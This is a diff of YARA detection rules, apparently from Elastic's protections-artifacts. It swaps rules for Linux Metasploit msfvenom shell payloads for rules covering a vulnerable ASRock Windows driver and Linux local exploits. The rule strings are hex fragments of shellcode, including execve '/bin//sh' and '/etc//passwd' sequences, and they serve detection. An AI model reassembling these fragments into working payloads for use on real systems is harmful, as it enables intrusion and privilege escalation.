+		description = "Detects Windows Vulndriver Asrock (Windows.VulnDriver.Asrock)"
 		author = "Elastic Security"
-		id = "1a98f2e2-9354-4d04-b1c0-d3998e54e2c4"
-		date = "2024-05-07"
-		modified = "2024-05-21"
+		id = "986d2d3c-96d1-4c74-a594-51c6df3b2896"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Metasploit.yar#L117-L137"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "89be4507c9c24c4ec9a7282f197a9a6819e696d2832df81f7e544095d048fc22"
-		logic_hash = "23ea1c255472a67746b470e50d982bc91d22ede5e2582cf5cfaa90a1ed4e8805"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Asrock.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3943a796cc7c5352aa57ccf544295bfd6fb69aae147bc8235a00202dc6ed6838"
+		logic_hash = "d767a1ecdff557753f80ac9d73f02364dd035f7a287d0f260316f807364af2d5"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "b9865aad13b4d837e7541fe6a501405aa7d694c8fefd96633c0239031ebec17a"
-		threat_name = "Linux.Trojan.Metasploit"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "17a021c4130a41ca6714f2dd7f33c100ba61d6d2d4098a858f917ab49894b05b"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$str1 = { 31 DB 53 43 53 6A 02 6A 66 58 99 89 E1 CD 80 96 43 52 }
-		$str2 = { 66 53 89 E1 6A 66 58 50 51 56 89 E1 CD 80 B0 66 D1 E3 CD 80 52 52 56 43 89 E1 B0 66 CD 80 93 B6 0C B0 03 CD 80 89 DF }
+		$str1 = "\\AsrDrv106.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Linux_Trojan_Metasploit_D74153F6 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Asrock_Cdf192F9 : FILE
 {
 	meta:
-		description = "Detects x86 msfvenom IPv6 TCP reverse shells"
+		description = "Detects Windows Vulndriver Asrock (Windows.VulnDriver.Asrock)"
 		author = "Elastic Security"
-		id = "d74153f6-0047-4576-8c3e-db0525bb3a92"
-		date = "2024-05-07"
-		modified = "2024-05-21"
+		id = "cdf192f9-c62f-4e00-b6a9-df85d10fee99"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Metasploit.yar#L139-L159"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2823d27492e2e7a95b67a08cb269eb6f4175451d58b098ae429330913397d40a"
-		logic_hash = "c60e7e63183f5bf0354a03f8399576e494e44a30257339ebccb6c19e954d6f3a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Asrock.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2003b478b9fd1b3d76ec5bf4172c2e8915babbbee7ad1783794acbf8d4c2519d"
+		logic_hash = "2f844b6d3fa19fd39097395175162578ad71d78c61dad104efd320cd8285fa6b"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "824baa1ee7fda8074d76e167d3c5cc1911c7224bb72b1add5e360f26689b48c2"
-		threat_name = "Linux.Trojan.Metasploit"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "f27c61c67b51ab88994742849dcd1311064ef0cacddb57503336d08f45059060"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$str1 = { 31 DB 53 43 53 6A 0A 89 E1 6A 66 58 CD 80 96 99 }
-		$str2 = { 89 E1 6A 1C 51 56 89 E1 43 43 6A 66 58 CD 80 89 F3 B6 0C B0 03 CD 80 89 DF }
+		$str1 = "\\AsrDrv103.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Linux_Trojan_Metasploit_F7A31E87 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Asrock_0Eca57Dc : FILE
 {
 	meta:
-		description = "Detects x86 msfvenom shell find tag payloads"
+		description = "Name: AsrSetupDrv103.sys, Version: 1.00.00.0000 built by: WinDDK"
 		author = "Elastic Security"
-		id = "f7a31e87-c3d7-4a26-9879-68893780283e"
-		date = "2024-05-07"
-		modified = "2024-05-21"
+		id = "0eca57dc-3800-4b0f-99dd-151fcac82136"
+		date = "2023-07-20"
+		modified = "2023-07-20"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Metasploit.yar#L161-L182"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "82b55d8c0f0175d02399aaf88ad9e92e2e37ef27d52c7f71271f3516ba884847"
-		logic_hash = "49583ba4f2bedb9337a8c10df4246bb76a3e60b08ba1a6b8684537fee985d911"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Asrock.yar#L41-L62"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9d9346e6f46f831e263385a9bd32428e01919cca26a035bbb8e9cb00bf410bc3"
+		hash = "a0728184caead84f2e88777d833765f2d8af6a20aad77b426e07e76ef91f5c3f"
+		logic_hash = "82a0cba571dc58ed8d3fd87d3650ec0c1016e6c8e972547f6120ba91c8febce1"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "7171cb9989405be295479275d8824ced7e3616097db88e3b0f8f1ef6798607e2"
-		threat_name = "Linux.Trojan.Metasploit"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "6c73b37f5e749161b4fb2f076e82ceb02345894b5db8e1a187019b54e3d1a154"
+		threat_name = "Windows.Vulndriver.Asrock"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$setup = { 31 DB 53 89 E6 6A 40 B7 0A 53 56 53 89 E1 86 FB 66 FF 01 6A 66 58 CD 80 81 3E }
-		$payload1 = { 5F FC AD FF }
-		$payload2 = { 5F 89 FB 6A 02 59 6A 3F 58 CD 80 49 79 ?? 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80 }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 [1-8] 41 00 73 00 72 00 53 00 65 00 74 00 75 00 70 00 44 00 72 00 76 00 31 00 30 00 33 00 2E 00 73 00 79 00 73 }
+		$file_version = { 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E [1-8] 31 00 2E 00 30 00 30 00 2E 00 30 00 30 00 2E 00 30 00 30 00 30 00 30 00 20 00 62 00 75 00 69 00 6C 00 74 00 20 00 62 00 79 00 3A 00 20 00 57 00 69 00 6E 00 44 00 44 00 4B }
 
 	condition:
-		$setup and 1 of ($payload*)
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $file_version
 }
-rule ELASTIC_Linux_Trojan_Metasploit_B0D2D4A4 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Local_47C64Fb6 : FILE MEMORY
 {
 	meta:
-		description = "Detects x86 msfvenom shell find port payloads"
+		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
 		author = "Elastic Security"
-		id = "b0d2d4a4-4fd6-4fc0-959b-89d6969215ed"
-		date = "2024-05-07"
-		modified = "2024-05-21"
+		id = "47c64fb6-cfa6-4350-a41f-870b87116b32"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Metasploit.yar#L184-L205"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a37c888875e84069763303476f0df6769df6015b33aded59fc1e23eb604f2163"
-		logic_hash = "bcabf74900222074ecf9051b6e0cb4ca7a240acd047a1b27137d1d198e23f161"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Local.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0caa9035027ff88788e6b8e43bfc012a367a12148be809555c025942054a6360"
+		logic_hash = "7d977edd5fc90c6f03ed5558c690b3dd2102bbff9d7e5124403276405e15201b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f6d2e001d8cfb6f086327ddb457a964932a8200ff60ea973b26ac9fb909b4a9c"
-		threat_name = "Linux.Trojan.Metasploit"
+		fingerprint = "aa286440061fb31167f314111dde7c2f596357b41fb6a5656216892fee6bf56e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -64151,31 +68314,28 @@ rule ELASTIC_Linux_Trojan_Metasploit_B0D2D4A4 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$str1 = { 31 DB 53 89 E7 6A 10 54 57 53 89 E1 B3 07 FF 01 6A 66 58 CD 80 }
-		$str2 = { 5B 6A 02 59 B0 3F CD 80 49 }
-		$str3 = { 50 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 50 53 89 E1 99 B0 0B CD 80 }
+		$a = { F4 C6 00 FF 8B 45 F4 40 C6 00 25 8B 45 F4 83 C0 02 C7 00 08 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Metasploit_5D26689F : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Local_76C24B62 : FILE MEMORY
 {
 	meta:
-		description = "Detects x86 msfvenom bind TCP random port payloads"
+		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
 		author = "Elastic Security"
-		id = "5d26689f-3d3a-41f1-ac32-161b3b312b74"
-		date = "2024-05-07"
-		modified = "2024-05-21"
+		id = "76c24b62-e04f-410d-b7cb-668daa9aea20"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Metasploit.yar#L207-L229"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "dafefb4d79d848384442a697b1316d93fef2741fca854be744896ce1d7f82073"
-		logic_hash = "e7906273aa7f42920be9d06cdae89c81e0a99e532cdcd7bd714acc5f2bbb0ed5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Local.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "330de2ca1add7e06389d94dfc541c367a484394c51663b26d27d89346b08ad1b"
+		logic_hash = "ff55d6a316394812cfa1108578aece91050bfb2f7e0f8c0440dcb64156f3e893"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b78fda9794dc24507405fc04bdc0a3e8abfcdc5c757787b7d9822f4ea2190120"
-		threat_name = "Linux.Trojan.Metasploit"
+		fingerprint = "907cb776c9200b715c5b20475c2d4b16cb55c607dfb4b57bd3bd95368ce66257"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -64183,32 +68343,28 @@ rule ELASTIC_Linux_Trojan_Metasploit_5D26689F : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$tiny_bind = { 31 D2 52 68 2F 2F 73 68 68 2F 62 69 6E 68 2D 6C 65 2F 89 E7 52 68 2F 2F 6E 63 68 2F 62 69 6E 89 E3 52 57 53 89 E1 31 C0 B0 0B CD 80 }
-		$reg_bind_setup = { 31 DB F7 E3 B0 66 43 52 53 6A 02 89 E1 CD 80 52 50 89 E1 B0 66 B3 04 CD 80 B0 66 43 CD 80 59 93 }
-		$reg_bind_dup_loop = { 6A 3F 58 CD 80 49 79 }
-		$reg_bind_execve = { B0 0B 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 41 CD 80 }
+		$a = { 00 00 00 31 DB 89 D8 B0 17 CD 80 31 C0 50 50 B0 }
 
 	condition:
-		($tiny_bind) or ( all of ($reg_bind*))
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Metasploit_1C8C98Ae : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Local_30C21B03 : FILE MEMORY
 {
 	meta:
-		description = "Detects x86 msfvenom add user payloads"
+		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
 		author = "Elastic Security"
-		id = "1c8c98ae-46c8-45fe-ab42-7b053f0357ed"
-		date = "2024-05-07"
-		modified = "2024-05-21"
+		id = "30c21b03-22fc-4ec8-8b65-084e98da8d8d"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Metasploit.yar#L231-L251"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1a2c40531584ed485f3ff532f4269241a76ff171956d03e4f0d3f9c950f186d4"
-		logic_hash = "fc32aa29f58478f0b7f4f5be61aadec65842c05b7d8ded840530503eae28b8eb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Local.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a09c81f185a4ceed134406fa7fefdfa7d8dfc10d639dd044c94fbb6d570fa029"
+		logic_hash = "396965c457b2e02d7d524d9d5fb3cc76852895ed9675c7b1205a94f47ba10144"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a3b592cc6d9b00f76a1084c7c124cc199149ada5b8dc206cff3133718f045c9d"
-		threat_name = "Linux.Trojan.Metasploit"
+		fingerprint = "8112c4a9bce4b4c9407e851849a5850fa36591570694950a4b53e8a09a1dd92b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -64216,30 +68372,28 @@ rule ELASTIC_Linux_Trojan_Metasploit_1C8C98Ae : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$str1 = { 31 C9 89 CB 6A 46 58 CD 80 6A 05 58 31 C9 51 68 73 73 77 64 68 2F 2F 70 61 68 2F 65 74 63 89 E3 41 B5 04 CD 80 93 }
-		$str2 = { 59 8B 51 FC 6A 04 58 CD 80 6A 01 58 CD 80 }
+		$a = { 1B CD 80 31 DB 89 D8 B0 17 CD 80 31 C0 50 50 B0 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Metasploit_47F4B334 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Local_9Ace9649 : FILE MEMORY
 {
 	meta:
-		description = "Detects x86 msfvenom exec payloads"
+		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
 		author = "Elastic Security"
-		id = "47f4b334-619b-4b9c-841d-b00c09dd98e5"
-		date = "2024-05-07"
-		modified = "2024-05-21"
+		id = "9ace9649-c74a-4b27-a147-d14123104c0a"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Metasploit.yar#L253-L277"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c3821f63a7ec8861a6168b4bb494bf8cbac436b3abf5eaffbc6907fd68ebedb8"
-		logic_hash = "34c8182d3b5ecbebd122d2d58fc0502a6bbca020b528ffdcc9ee988f21512d99"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Local.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b38869605521531153cfd8077f05e0d6b52dca0fffbc627a4d5eaa84855a491c"
+		logic_hash = "d7a60b0cb7fcbd9e802660bda3e0456f7f4ef9db38b6dab131c160efce48909e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "955d65f1097ec9183db8bd3da43090f579a27461ba345bb74f62426734731184"
-		threat_name = "Linux.Trojan.Metasploit"
+		fingerprint = "2e526d7ec47a30c7683725c2d2c3db0a8267630bb0f270599325d50227f6ae29"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -64247,34 +68401,28 @@ rule ELASTIC_Linux_Trojan_Metasploit_47F4B334 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$payload1 = { 31 C9 F7 E1 B0 0B [0-1] 68 2F ?? ?? ?? 68 2F 62 69 6E 89 E3 CD 80 }
-		$payload2a = { 31 DB F7 E3 B0 0B 52 }
-		$payload2b = { 88 14 1E 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 56 57 53 89 E1 CD 80 }
-		$payload3a = { 6A 0B 58 99 52 }
-		$payload3b = { 89 E7 68 2F 73 68 00 68 2F 62 69 6E 89 E3 52 E8 }
-		$payload3c = { 57 53 89 E1 CD 80 }
+		$a = { 31 C0 31 DB 31 C9 B0 46 CD 80 31 C0 50 68 2F }
 
 	condition:
-		$payload1 or ( all of ($payload2*)) or ( all of ($payload3*))
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Metasploit_0B014E0E : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Local_705C9589 : FILE MEMORY
 {
 	meta:
-		description = "Detects x64 msfvenom exec payloads"
+		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
 		author = "Elastic Security"
-		id = "0b014e0e-3f5a-4dcc-8860-eb101281b8a5"
-		date = "2024-05-07"
-		modified = "2024-05-21"
+		id = "705c9589-f735-45ef-8cf0-b99a05905a9f"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Metasploit.yar#L279-L303"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a24443331508cc72b3391353f91cd009cafcc223ac5939eab12faf57447e3162"
-		logic_hash = "cb19a0461d5fe6066d1fed4898ea12a9818be69d870e511559b19d5c7c959819"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Local.yar#L81-L99"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "845727ea46491b46a665d4e1a3a9dbbe6cd0536d070f1c1efd533b91b75cdc88"
+		logic_hash = "9834d564c2acc688750d5e6c53db7c1201ef85c6fb3d1d0ea2425a5ba905ff18"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7a61a0e169bf6aa8760b42c5b260dee453ea6a85fe9e5da46fb7598994904747"
-		threat_name = "Linux.Trojan.Metasploit"
+		fingerprint = "d75edca622f0ab8a0b60c4ba5c1026c89d3613c0e101c5c12c03ee08cb7c576e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -64282,34 +68430,28 @@ rule ELASTIC_Linux_Trojan_Metasploit_0B014E0E : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$payload1 = { 48 B8 2F [0-1] 62 69 6E 2F 73 68 ?? ?? 50 54 5F 52 5E 6A 3B 58 0F 05 }
-		$payload2a = { 48 B8 2F 2F 62 69 6E 2F 73 68 99 EB ?? 5D 52 5B }
-		$payload2b = { 54 5E 52 50 54 5F 52 55 56 57 54 5E 6A 3B 58 0F 05 }
-		$payload3a = { 48 B8 2F 62 69 6E 2F 73 68 00 99 50 54 5F 52 }
-		$payload3b = { 54 5E 52 E8 }
-		$payload3c = { 56 57 54 5E 6A 3B 58 0F 05 }
+		$a = { 51 53 8D 0C 24 31 C0 B0 0B CD 80 31 C0 B0 01 CD }
 
 	condition:
-		$payload1 or ( all of ($payload2*)) or ( all of ($payload3*))
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Metasploit_Ccc99Be1 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Local_A677Fb9C : FILE MEMORY
 {
 	meta:
-		description = "Detects x64 msfvenom pingback bind shell payloads"
+		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
 		author = "Elastic Security"
-		id = "ccc99be1-6ea9-4090-acba-3bbe82b127c1"
-		date = "2024-05-07"
-		modified = "2024-05-21"
+		id = "a677fb9c-0271-4491-a7c7-48504b6ec389"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Metasploit.yar#L305-L327"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0e9f52d7aa6bff33bfbdba6513d402db3913d4036a5e1c1c83f4ccd5cc8107c8"
-		logic_hash = "96af2123251587ece32e424202ff61cfa70faf2916cacddf5fcd9d81bf483032"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Local.yar#L101-L119"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d20b260c7485173264e3e674adc7563ea3891224a3dc98bdd342ebac4a1349e8"
+		logic_hash = "9b43e651f73d17dbd2143cec4c79929723689ce738924588e38c99a9554e5545"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "88e30402974b853e5f83a3033129d99e7dd1f6b31b5855b1602ef2659a0f7f56"
-		threat_name = "Linux.Trojan.Metasploit"
+		fingerprint = "b7916eefad806131b39af5f9bef27648e2444c9a9c95216b520d73e64fa734f0"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -64317,32 +68459,28 @@ rule ELASTIC_Linux_Trojan_Metasploit_Ccc99Be1 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$str1 = { 56 50 6A 29 58 99 6A 02 5F 6A 01 5E 0F 05 48 85 C0 }
-		$str2 = { 51 48 89 E6 54 5E 6A 31 58 6A 10 5A 0F 05 6A 32 58 6A 01 5E 0F 05 }
-		$str3 = { 6A 2B 58 99 52 52 54 5E 6A 1C 48 8D 14 24 0F 05 48 97 }
-		$str4 = { 5E 48 31 C0 48 FF C0 0F 05 6A 3C 58 6A 01 5F 0F 05 }
+		$a = { 89 C0 89 45 EC 83 7D EC FF 75 1A 83 EC 0C 68 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Metasploit_Ed4B2C85 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Local_78E50162 : FILE MEMORY
 {
 	meta:
-		description = "Detects x64 msfvenom bind TCP random port payloads"
+		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
 		author = "Elastic Security"
-		id = "ed4b2c85-730f-4a77-97ed-5439a0493a4a"
-		date = "2024-05-07"
-		modified = "2024-05-21"
+		id = "78e50162-8f1e-4c78-94fe-9b793b006269"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Metasploit.yar#L329-L348"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0709a60149ca110f6e016a257f9ac35c6f64f50cfbd71075c4ca8bfe843c3211"
-		logic_hash = "79e466b2f40a6769db498cc28cb22ba72ec20f92c8450d6f1f8301d00012f967"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Local.yar#L121-L139"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "706c865257d5e1f5f434ae0f31e11dfc7e16423c4c639cb2763ec0f51bc73300"
+		logic_hash = "10a5bef486ec0ececfe0a9edfcad7ce053da2a97028cd1648aa27572fedd8ef6"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c38513fa6b1ed23ec91ae316af9793c5c01ac94b43ba5502f9c32a0854aec96f"
-		threat_name = "Linux.Trojan.Metasploit"
+		fingerprint = "a5771dad186d0c23d25efb7b22b11aa0a67148cf6efb9657b09ca6e160c192aa"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -64350,29 +68488,28 @@ rule ELASTIC_Linux_Trojan_Metasploit_Ed4B2C85 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$str = { 6A 29 58 99 6A 01 5E 6A 02 5F 0F 05 97 B0 32 0F 05 96 B0 2B 0F 05 97 96 FF CE 6A 21 58 0F 05 75 ?? 52 48 BF 2F 2F 62 69 6E 2F 73 68 57 54 5F B0 3B 0F 05 }
+		$a = { 90 90 90 31 C0 31 DB B0 17 CD 80 31 C0 B0 2E CD }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Metasploit_2B0Ad6F0 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Local_3B767A1F : FILE MEMORY
 {
 	meta:
-		description = "Detects x64 msfvenom find TCP port payloads"
+		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
 		author = "Elastic Security"
-		id = "2b0ad6f0-44d2-4e7e-8cca-2b0ae1b88d48"
-		date = "2024-05-07"
-		modified = "2024-05-21"
+		id = "3b767a1f-5844-4742-a5fd-ef8a3ddb6c12"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Metasploit.yar#L350-L371"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "aa2bce61511c72ac03562b5178aad57bce8b46916160689ed07693790cbfbeec"
-		logic_hash = "91b4547e44c40cafe09dd415f0b5dfe5980fcb10d50aeae844cf21e7608d9a9d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Local.yar#L141-L159"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e05fed9e514cccbdb775f295327d8f8838b73ad12f25e7bb0b9d607ff3d0511c"
+		logic_hash = "0f24a7d4e8ff0899430aa0a702000f35039b07400120b382b675825630f0ea4e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b15da42f957107d54bfad78eff3a703cc2a54afcef8207d42292f2520690d585"
-		threat_name = "Linux.Trojan.Metasploit"
+		fingerprint = "2bc0dc4de92306076cda6f2d069855b85861375c8b7eb5324f915a1ed10c39e5"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
